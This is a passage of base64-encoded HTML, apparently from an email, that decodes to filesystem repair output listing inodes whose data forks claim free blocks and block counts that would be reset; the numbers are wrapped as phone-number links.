OTg3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTc5 ODc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBm b3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzkyODI3Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzkyODI3PC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48 YSBocmVmPSJ0ZWw6OTMxNzk4OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT45MzE3OTg4PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDg4IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 NzkyODI3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 NzkyODI3PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQg cmVzZXQgdG8gOTc8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEg Zm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjc5NzMwOSI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc5NzMwOTwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjkzMTY2MzkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+OTMxNjYzOTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3OTczMDki Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3OTczMDk8 L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZy ZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzE2NjQwIj48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTY2NDA8L3U+PC9mb250PjwvYT48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMTExNSBmb3IgaW5vZGUgPC9m b250PjxhIGhyZWY9InRlbDoxNjc5NzMwOSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT4xNjc5NzMwOTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDExMjE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjc5 NzM2OSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc5 NzM2OTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFp bXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjUxODc3ODUiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTE4Nzc4NTwvdT48L2ZvbnQ+PC9hPjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY3OTczNjkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY3OTczNjk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo1MTg3Nzg2 Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjUxODc3ODY8 L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3Jr IGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODAxMzYzIj48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODAxMzYzPC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBo cmVmPSJ0ZWw6NTE5NTQxMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT41MTk1NDEzPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjgwMTM2MyI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgwMTM2MzwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBi bG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjUxOTU0MTQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTE5NTQxNDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTY4MDUxNDkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTY4MDUxNDk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDoxNjg1Nzg1NiI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg1Nzg1NjwvdT48L2Zv bnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzMDcy IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODA1MjM1Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODA1MjM1PC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMzA3MTwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2ODA2MjQyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2ODA2MjQyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxODc3MSI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE4NzcxPC91 PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBp biBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjgwNjI0MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgwNjI0MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjkzMTg3NzIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+OTMxODc3MjwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5iYWQgbmJsb2NrcyAzMDQ4IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODA2 MjQyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODA2 MjQyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVz ZXQgdG8gMzA1ODwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5i bG9ja3MgMTM1NSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgwOTg0MCI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgwOTg0MDwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDEzNTQ8 L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDI0Njcg Zm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MTI2OTciPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MTI2OTc8L3U+PC9mb250PjwvYT48Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAyNDY2PC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY4MTgyNTkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY4MTgyNTk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzA1Nzk3Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDU3OTc8L3U+ PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGlu IGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODE4MjU5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODE4MjU5PC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVm PSJ0ZWw6OTMwNTc5OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT45MzA1Nzk4PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjgyNDI2OSI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgyNDI2OTwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9j ayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTkyNzgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxOTI3ODwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA3NjcgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY4MjQyNjkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY4MjQyNjk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byA3Njk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuYmxvY2tzIDI3NSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgy NjEyMCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgy NjEyMDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJl c2V0IHRvIDI3NDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5l eHRlbnRzIDk1IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI2MTIwIj48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI2MTIwPC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gOTQ8L2Zv bnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9m b250PjxhIGhyZWY9InRlbDoxNjgyNjIxMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT4xNjgyNjIxMzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI3 MjYwODI0NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4y NzI2MDgyNDY8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI4NDcwIj48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI4NDcwPC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwv Zm9udD48YSBocmVmPSJ0ZWw6OTMxNjc2NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT45MzE2NzY3PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjgy ODQ3MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgy ODQ3MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFp bXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTY3NjgiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxNjc2ODwvdT48L2ZvbnQ+PC9hPjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzMDY5IGZvciBpbm9k ZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI4NDcwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI4NDcwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMzA3NTwvZm9udD48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMTkzIGZvciBpbm9kZSA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2ODI4NzY3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2ODI4NzY3PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiwgd291bGQgcmVzZXQgdG8gMTg0PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MjkxOTIiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MjkxOTI8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUg YmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo1MzkyOTIzNjUiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTM5MjkyMzY1PC91PjwvZm9udD48L2E+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDgxOCBmb3IgaW5vZGUgPC9m b250PjxhIGhyZWY9InRlbDoxNjgyOTE5MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT4xNjgyOTE5MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDgzMzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI5 NjgxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI5 NjgxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWlt cyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6NTY3NTYzMyI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT41Njc1NjMzPC91PjwvZm9udD48L2E+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250Pjxh IGhyZWY9InRlbDoxNjgzMTA0NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjgzMTA0NTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjYxMTk2MTgi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NjExOTYxODwv dT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsg aW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MzM1NDQiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MzM1NDQ8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhy ZWY9InRlbDoxMzc4NjMzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjEzNzg2MzM8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+YmFkIG5ibG9ja3MgOTcgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MzM2 NTgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MzM2 NTg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNl dCB0byA5MTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9j a3MgNDggZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MzYwMjAiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MzYwMjA8L3U+PC9mb250Pjwv YT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA0OTwvZm9udD48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjE2ODM3NjE1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFj ZT0ic2VyaWYiPjx1PjE2ODM3NjE1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxNzk2 OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE3OTY4 PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9y ayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjgzNzYxNSI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgzNzYxNTwvdT48L2ZvbnQ+PC9hPjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEg aHJlZj0idGVsOjkzMTc5NjkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+OTMxNzk2OTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5iYWQgbmJsb2NrcyAxMjM3IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 ODM3NjE1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 ODM3NjE1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQg cmVzZXQgdG8gMTI0OTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFk IG5ibG9ja3MgNjIyIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODQzODU1Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODQzODU1PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjIx PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5v IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4NTEwNDYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4NTEwNDY8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRl bDo5Mjk5ODY3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjkyOTk4Njc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODUxMDQ2Ij48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODUxMDQ2PC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwv Zm9udD48YSBocmVmPSJ0ZWw6OTI5OTg2OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT45Mjk5ODY4PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDgxMSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9 InRlbDoxNjg1MTA0NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT4xNjg1MTA0NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4s IHdvdWxkIHJlc2V0IHRvIDgxNzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+YmFkIG5ibG9ja3MgOTQgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4NTI5NTIi Pjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4NTI5NTI8 L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0 byA5MzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGlu IGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODU4OTE5Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODU4OTE5PC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVm PSJ0ZWw6MTA0NzMyNiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT4xMDQ3MzI2PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy 